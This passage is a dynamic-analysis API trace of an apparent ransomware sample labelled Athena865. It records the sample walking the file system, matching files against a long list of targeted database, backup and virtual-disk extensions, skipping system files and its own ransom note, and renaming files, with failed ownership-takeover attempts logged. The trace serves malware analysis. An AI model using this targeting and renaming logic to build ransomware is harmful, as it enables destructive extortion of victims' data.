lpString2="odb") returned -1 [0035.346] lstrlenW (lpString="oqy") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.346] lstrlenW (lpString="ora") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.346] lstrlenW (lpString="orx") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.346] lstrlenW (lpString="owc") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.346] lstrlenW (lpString="p96") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.346] lstrlenW (lpString="p97") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.346] lstrlenW (lpString="pan") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.346] lstrlenW (lpString="pdb") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.346] lstrlenW (lpString="pdm") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.346] lstrlenW (lpString="pnz") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.346] lstrlenW (lpString="qry") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.347] lstrlenW (lpString="qvd") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.347] lstrlenW (lpString="rbf") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.347] lstrlenW (lpString="rctd") returned 4 [0035.347] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.347] lstrlenW (lpString="rod") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.347] lstrlenW (lpString="rodx") returned 4 [0035.347] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.347] lstrlenW (lpString="rpd") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.347] lstrlenW (lpString="rsd") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.347] lstrlenW (lpString="sas7bdat") returned 8 [0035.347] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.347] lstrlenW (lpString="sbf") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.347] lstrlenW (lpString="scx") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.347] lstrlenW (lpString="sdb") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.347] lstrlenW (lpString="sdc") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.347] lstrlenW (lpString="sdf") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.347] lstrlenW (lpString="sis") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.347] lstrlenW (lpString="spq") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.347] lstrlenW (lpString="te") returned 2 [0035.347] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.347] lstrlenW (lpString="teacher") returned 7 [0035.347] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.347] lstrlenW (lpString="tmd") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.347] lstrlenW (lpString="tps") returned 3 [0035.347] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.348] lstrlenW (lpString="trc") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.348] lstrlenW (lpString="trc") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.348] lstrlenW (lpString="trm") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.348] lstrlenW (lpString="udb") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.348] lstrlenW (lpString="udl") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.348] lstrlenW (lpString="usr") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.348] lstrlenW (lpString="v12") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.348] lstrlenW (lpString="vis") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.348] lstrlenW (lpString="vpd") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.348] lstrlenW (lpString="vvv") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.348] lstrlenW (lpString="wdb") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.348] lstrlenW (lpString="wmdb") returned 4 [0035.348] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.348] lstrlenW (lpString="wrk") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.348] lstrlenW (lpString="xdb") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.348] lstrlenW (lpString="xld") returned 3 [0035.348] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.348] lstrlenW (lpString="xmlff") returned 5 [0035.348] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.348] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.348] GetLastError () returned 0x5 [0035.349] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.349] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.349] SetEntriesInAclW () returned 0x0 [0035.349] SetNamedSecurityInfoW () returned 0x5 [0035.349] SetNamedSecurityInfoW () returned 0x5 [0035.349] LocalFree (hMem=0x529490) returned 0x0 [0035.349] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.349] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.349] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa7e [0035.349] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.349] CloseHandle (hObject=0x154) returned 1 [0035.350] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.350] CloseHandle (hObject=0x0) returned 0 [0035.350] CloseHandle (hObject=0x0) returned 0 [0035.350] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xab98f80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xab98f80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x19c64860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xd6c0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{922CA~1")) returned 1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.350] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.350] lstrlenW (lpString="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.350] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.350] lstrlenW (lpString="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.350] lstrlenW (lpString="Athena865") returned 9 [0035.350] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.351] lstrlenW (lpString=".dll") returned 4 [0035.351] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.351] lstrlenW (lpString=".lnk") returned 4 [0035.351] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.351] lstrlenW (lpString=".ini") returned 4 [0035.351] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.351] lstrlenW (lpString=".sys") returned 4 [0035.351] lstrcmpiW (lpString1="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.351] lstrlenW (lpString="{9625bc5a-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.351] lstrlenW (lpString="bak") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.351] lstrlenW (lpString="ba_") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.351] lstrlenW (lpString="dbb") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.351] lstrlenW (lpString="vmdk") returned 4 [0035.351] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.351] lstrlenW (lpString="rar") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.351] lstrlenW (lpString="zip") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.351] lstrlenW (lpString="tgz") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.351] lstrlenW (lpString="vbox") returned 4 [0035.351] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.351] lstrlenW (lpString="vdi") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.351] lstrlenW (lpString="vhd") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.351] lstrlenW (lpString="vhdx") returned 4 [0035.351] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.351] lstrlenW (lpString="avhd") returned 4 [0035.351] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.351] lstrlenW (lpString="db") returned 2 [0035.351] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.351] lstrlenW (lpString="db2") returned 3 [0035.351] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.352] lstrlenW (lpString="db3") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.352] lstrlenW (lpString="dbf") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.352] lstrlenW (lpString="mdf") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.352] lstrlenW (lpString="mdb") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.352] lstrlenW (lpString="sql") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.352] lstrlenW (lpString="sqlite") returned 6 [0035.352] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.352] lstrlenW (lpString="sqlite3") returned 7 [0035.352] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.352] lstrlenW (lpString="sqlitedb") returned 8 [0035.352] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.352] lstrlenW (lpString="xml") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.352] lstrlenW (lpString="$er") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.352] lstrlenW (lpString="4dd") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.352] lstrlenW (lpString="4dl") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.352] lstrlenW (lpString="^^^") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.352] lstrlenW (lpString="abs") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.352] lstrlenW (lpString="abx") returned 3 [0035.352] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.352] lstrlenW (lpString="accdb") returned 5 [0035.352] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.352] lstrlenW (lpString="accdc") returned 5 [0035.352] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.352] lstrlenW (lpString="accde") returned 5 [0035.352] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.352] lstrlenW (lpString="accdr") returned 5 [0035.352] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.353] lstrlenW (lpString="accdt") returned 5 [0035.353] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.353] lstrlenW (lpString="accdw") returned 5 [0035.353] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.353] lstrlenW (lpString="accft") returned 5 [0035.353] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.353] lstrlenW (lpString="adb") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.353] lstrlenW (lpString="adb") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.353] lstrlenW (lpString="ade") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.353] lstrlenW (lpString="adf") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.353] lstrlenW (lpString="adn") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.353] lstrlenW (lpString="adp") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.353] lstrlenW (lpString="alf") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.353] lstrlenW (lpString="ask") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.353] lstrlenW (lpString="btr") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.353] lstrlenW (lpString="cat") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.353] lstrlenW (lpString="cdb") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.353] lstrlenW (lpString="ckp") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.353] lstrlenW (lpString="cma") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.353] lstrlenW (lpString="cpd") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.353] lstrlenW (lpString="dacpac") returned 6 [0035.353] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.353] lstrlenW (lpString="dad") returned 3 [0035.353] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.353] lstrlenW (lpString="dadiagrams") returned 10 [0035.353] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.354] lstrlenW (lpString="daschema") returned 8 [0035.354] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.354] lstrlenW (lpString="db-journal") returned 10 [0035.354] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.354] lstrlenW (lpString="db-shm") returned 6 [0035.354] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.354] lstrlenW (lpString="db-wal") returned 6 [0035.354] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.354] lstrlenW (lpString="dbc") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.354] lstrlenW (lpString="dbs") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.354] lstrlenW (lpString="dbt") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.354] lstrlenW (lpString="dbv") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.354] lstrlenW (lpString="dbx") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.354] lstrlenW (lpString="dcb") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.354] lstrlenW (lpString="dct") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.354] lstrlenW (lpString="dcx") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.354] lstrlenW (lpString="ddl") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.354] lstrlenW (lpString="dlis") returned 4 [0035.354] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.354] lstrlenW (lpString="dp1") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.354] lstrlenW (lpString="dqy") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.354] lstrlenW (lpString="dsk") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.354] lstrlenW (lpString="dsn") returned 3 [0035.354] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.354] lstrlenW (lpString="dtsx") returned 4 [0035.354] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.354] lstrlenW (lpString="dxl") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.355] lstrlenW (lpString="eco") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.355] lstrlenW (lpString="ecx") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.355] lstrlenW (lpString="edb") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.355] lstrlenW (lpString="epim") returned 4 [0035.355] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.355] lstrlenW (lpString="fcd") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.355] lstrlenW (lpString="fdb") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.355] lstrlenW (lpString="fic") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.355] lstrlenW (lpString="flexolibrary") returned 12 [0035.355] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.355] lstrlenW (lpString="fm5") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.355] lstrlenW (lpString="fmp") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.355] lstrlenW (lpString="fmp12") returned 5 [0035.355] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.355] lstrlenW (lpString="fmpsl") returned 5 [0035.355] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.355] lstrlenW (lpString="fol") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.355] lstrlenW (lpString="fp3") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.355] lstrlenW (lpString="fp4") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.355] lstrlenW (lpString="fp5") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.355] lstrlenW (lpString="fp7") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.355] lstrlenW (lpString="fpt") returned 3 [0035.355] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.355] lstrlenW (lpString="frm") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.356] lstrlenW (lpString="gdb") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.356] lstrlenW (lpString="gdb") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.356] lstrlenW (lpString="grdb") returned 4 [0035.356] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.356] lstrlenW (lpString="gwi") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.356] lstrlenW (lpString="hdb") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.356] lstrlenW (lpString="his") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.356] lstrlenW (lpString="ib") returned 2 [0035.356] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.356] lstrlenW (lpString="idb") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.356] lstrlenW (lpString="ihx") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.356] lstrlenW (lpString="itdb") returned 4 [0035.356] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.356] lstrlenW (lpString="itw") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.356] lstrlenW (lpString="jet") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.356] lstrlenW (lpString="jtx") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.356] lstrlenW (lpString="kdb") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.356] lstrlenW (lpString="kexi") returned 4 [0035.356] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.356] lstrlenW (lpString="kexic") returned 5 [0035.356] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.356] lstrlenW (lpString="kexis") returned 5 [0035.356] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.356] lstrlenW (lpString="lgc") returned 3 [0035.356] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.356] lstrlenW (lpString="lwx") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.357] lstrlenW (lpString="maf") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.357] lstrlenW (lpString="maq") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.357] lstrlenW (lpString="mar") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.357] lstrlenW (lpString="marshal") returned 7 [0035.357] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.357] lstrlenW (lpString="mas") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.357] lstrlenW (lpString="mav") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.357] lstrlenW (lpString="maw") returned 3 [0035.357] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.357] lstrlenW (lpString="mdbhtml") returned 7 [0035.357] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.357] lstrlenW (lpString="mdn") returned 3 [0035.357] 